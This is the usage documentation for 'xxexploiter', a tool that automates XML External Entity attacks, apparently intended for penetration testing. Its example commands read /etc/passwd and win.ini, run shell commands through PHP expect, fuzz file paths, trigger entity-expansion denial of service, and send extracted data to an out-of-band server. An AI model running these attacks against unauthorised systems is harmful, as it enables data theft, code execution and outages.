npm install  
npm run build  
#you may need to npm install typescript -g in order for 'npm build' to succeed 

npm start [args]  
node dist/index.js [args]  
npm link #and now just call xxexploiter

npm link

Usage: xxexploiter [command] [options]

Commands:
  xxexploiter file [file_to_read]  Use XXE to do a request
  xxexploiter request [URL]        Use XXE to do a request
  xxexploiter expect [command]     Use XXE to execute a command through PHP's expect
  xxexploiter xee [expantions]     Generate a huge content by resolving entities

Fuzzing Specific Options
  -w, --wordlist        Path to a wordlist to be used with the fuzz command. Use {{FUZZ}} placeholder in the command arg
                        for the magic.
  -y, --success-string  String to search for a success response in the requests. Not usefull for blind attacks
  -n, --error-string    String to search for an error response in the request. Not usefull for blind attacks

Options:
  --version             Show version number                                                                    [boolean]
  -s, --server          Server address for OOB and DTD
  -p, --port            Server port for OOB and DTDs. Default: 7777
  -t, --template        path to an XML template where to inject payload
  -m, --mode            Extraction Mode: xml, oob, cdata. Default: xml
  -e, --encode          Extraction Encoding: none, phpbase64. Default: none
  -o, --output          Output for the XML payload file. Default is to console
  -x                    Use a request to automatically send the xml file
  -X, --request-output  Output the response from -x option. If not defined goes to stdout
  --verbose             Enable some messages help for understanding whats happening
  --doctype             Specify the name of the doctype to be injected. Default is xxexploiter
  -h, --help            Show help                                                                              [boolean]

Examples:
  xxexploiter expect ls
  xxexploiter -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml
  xxexploiter -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob
  xxexploiter xee 900000000 -o output.xml
  xxexploiter file /etc/passwd -x request.txt -t template.xml
  xxexploiter file /root/{FUZZ} -w wordlist.txt -n "not found" -x request.txt

Extra Info:
  - When using the xml or cdata modes, add the placeholder '{{XXE}}' in the field where you want the entity content to
  be injected
  - When specifiying file paths for windows use forward slash.
  - OOB: Out Of Bound: You can use this option to send the data processed by the xml parser, to your local webserver.
  Usefull with blind attacks
  - When using XML mode, it may break the XML parsing if XML reserved characters are loaded, so you may want to use
  cdata
  - When using the request option, you can specify the placeholder to inject the payload with {{XXE}} or {{XXE_B64}}
  - When fuzzing you can add the {{FUZZ}} keyword in the main command argument.
  - You can specify a string to filter successfull requests when fuzzing, either by supplying an expected error string,
  or an expected success string